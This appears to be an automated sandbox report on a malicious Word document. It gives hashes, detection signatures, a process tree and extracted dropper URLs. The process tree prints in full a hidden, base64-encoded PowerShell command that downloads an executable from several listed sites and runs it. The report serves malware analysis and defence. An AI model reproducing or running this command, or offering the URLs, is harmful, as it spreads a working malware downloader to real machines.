Analysis

  • max time kernel
    50s
  • max time network
    44s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:43

General

  • Target

    d70c33c0d273337f692c79877dda7bbcc8524be84db94682224bc17c952f2c11.doc

  • Size

    213KB

  • MD5

    1c855cbaaac774e6b43123f39247fe99

  • SHA1

    a4a46f9aa4ed9e3a4797f5b7cb1cbb872928d6c4

  • SHA256

    d70c33c0d273337f692c79877dda7bbcc8524be84db94682224bc17c952f2c11

  • SHA512

    db59a43e36f666c998a832c4465fa0c5d9156b79f232f853ee6a1651ee6d2d68926458f63dcc0a34adb7eb0a832fb569147dcf6dd27452c537db60176bb6ac81

  • SSDEEP

    3072:mf2y/GdyEktGDWLS0HZWD5w8K7Nk9qD7IBUrY9a1tOnz4j6X0oasGc9uQuH:mf2k4itGiL3HJk9qD7b40o9GMLu

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d70c33c0d273337f692c79877dda7bbcc8524be84db94682224bc17c952f2c11.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2812
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:8

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7475BF1E.wmf

      Filesize

      444B

      MD5

      55348c1ce5d9dae7a3cbff28f8b82948

      SHA1

      acf00fb2112bd8ec003cbdb4cf8c4adb41933a41

      SHA256

      dba0bb2a24f2a286e31e06a194d2d1ac219f72057f8f132ac4c7da2d0cbf0652

      SHA512

      269925282fc506d079c9be76b2d816a072d580fa8ad5af9075f9a9d9efc392071e8f39ad58455d5bdf3d59b19943860d1610e5454fdd1d6db58cfb1c4210d7c3

    • C:\Users\Admin\AppData\Local\Temp\TCDC3EC.tmp\sist02.xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uz05fr5w.qjp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/8-71-0x000002507FD00000-0x000002507FD22000-memory.dmp

      Filesize

      136KB

    • memory/1528-19-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-18-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-8-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-7-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-5-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-10-0x00007FF927BB0000-0x00007FF927BC0000-memory.dmp

      Filesize

      64KB

    • memory/1528-9-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-13-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-14-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-15-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-3-0x00007FF929F50000-0x00007FF929F60000-memory.dmp

      Filesize

      64KB

    • memory/1528-21-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-20-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-6-0x00007FF929F50000-0x00007FF929F60000-memory.dmp

      Filesize

      64KB

    • memory/1528-17-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-16-0x00007FF927BB0000-0x00007FF927BC0000-memory.dmp

      Filesize

      64KB

    • memory/1528-12-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-11-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-1-0x00007FF969F6D000-0x00007FF969F6E000-memory.dmp

      Filesize

      4KB

    • memory/1528-4-0x00007FF929F50000-0x00007FF929F60000-memory.dmp

      Filesize

      64KB

    • memory/1528-0-0x00007FF929F50000-0x00007FF929F60000-memory.dmp

      Filesize

      64KB

    • memory/1528-82-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-83-0x00007FF969F6D000-0x00007FF969F6E000-memory.dmp

      Filesize

      4KB

    • memory/1528-84-0x00007FF969ED0000-0x00007FF96A0C5000-memory.dmp

      Filesize

      2.0MB

    • memory/1528-2-0x00007FF929F50000-0x00007FF929F60000-memory.dmp

      Filesize

      64KB